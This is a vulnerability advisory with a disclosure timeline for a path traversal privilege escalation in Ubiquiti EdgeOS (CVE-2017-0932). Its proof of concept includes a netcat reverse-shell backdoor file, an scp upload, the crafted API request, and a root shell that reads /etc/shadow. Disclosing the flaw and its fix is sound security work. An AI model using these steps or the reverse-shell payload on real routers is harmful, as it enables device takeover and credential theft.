UBNT EdgeOS version and prior, consequence of the lack of validation on the input of the Feature functionality, an attacker with access to an operator (read-only) account and ssh connection to the devices, can escalate privileges to admin (root) access in the system.

  • Vendor: Ubiquiti Networks
  • Device: Edger Router X
  • Affected Version: and prior
  • CVE-ID: CVE-2017-0932


The EdgeOS (firmware v1.9.1.1) is susceptible to a local privilege escalation due a Path Traversal vulnerability in the Feature API. This vulnerability allows an attacker with non-privileged access (read-only) to execute commands on the device with the root rights. The attack consists in sending a maliciously crafted file (using scp with a non-privileged account) to the device and then calling the vulnerable API exploiting the Path Traversal. The exploitation will result on the crafted file being executed with root permission, giving the attacker full access to the device.


First of all, we have to create the following file+directory:

$ cat Backdoor/wizard-run
/usr/bin/nc -e /bin/bash &

Using a non-privileged ‘operator’ user, it was possible to upload the file to the device using the scp command:

$ scp -r Backdoor operator@
Welcome to EdgeOS

By logging in, accessing, or using the Ubiquiti product, you
acknowledge that you have read and understood the Ubiquiti
License Agreement (available in the Web UI at, by default, and agree to be bound by its terms.

operator@'s password: 

After that, using a valid operator session and a path traversal vulnerability, it was possible to call the uploaded file with root privilege:

POST /api/edge/feature.json HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
X-CSRF-TOKEN: 4310724fdcab5474ab225a105bd6f86d43247dbaf5b7f4aa2ec329a641ec55ec
X-Requested-With: XMLHttpRequest
Content-Length: 90
Cookie: ip_address_top_user_option=total_bytes; PHPSESSID=i6um09hej0ku2k5ctcp6ib56f1nrqhi7; X-CSRF-TOKEN=4310724fdcab5474ab225a105bd6f86d43247dbaf5b7f4aa2ec329a641ec55ec
Connection: close


And a remote shell will be created:

$ nc -lvp 1337
Listening on [] (family 0, port 1337)
Connection from 44440 received!
uid=0(root) gid=102(vyattacfg)
uname -a
Linux ubnt 3.10.14-UBNT #1 SMP Sat Apr 22 06:38:07 PDT 2017 mips GNU/Linux
cat /etc/shadow
.. snip snip ..


Upgrade the firmware to the latest available version.


  • 2017-06-14 - Vulnerability discovered and first report to Ubiquiti Networks
  • 2017-06-14 - UBNT anwsered and confirmed the vulnerability
  • 2017-06-14 - Ubiquiti Networks rewarded with a $1,500 bounty
  • 2017-08-30 - Ubiquiti Networks fixed the vulnerability
  • 2017-11-24 - Ubiquiti Networks agreed with a partial disclosure of the vulnerability
  • 2018-03-05 - Disclosure of technical details